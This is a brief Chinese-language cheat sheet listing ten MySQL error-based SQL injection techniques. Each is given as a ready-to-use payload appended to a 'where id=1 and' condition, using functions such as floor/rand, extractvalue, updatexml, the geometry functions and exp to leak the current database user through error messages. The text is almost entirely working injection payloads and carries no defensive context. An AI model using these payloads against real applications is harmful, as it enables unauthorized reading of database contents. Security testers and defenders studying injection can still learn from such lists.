常用十大报错函数

• floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

• extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

• updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

• geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

• multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

• polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

• multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

• linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

• multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

• exp()

select * from test where id=1 and exp(~(select * from(select user())a));

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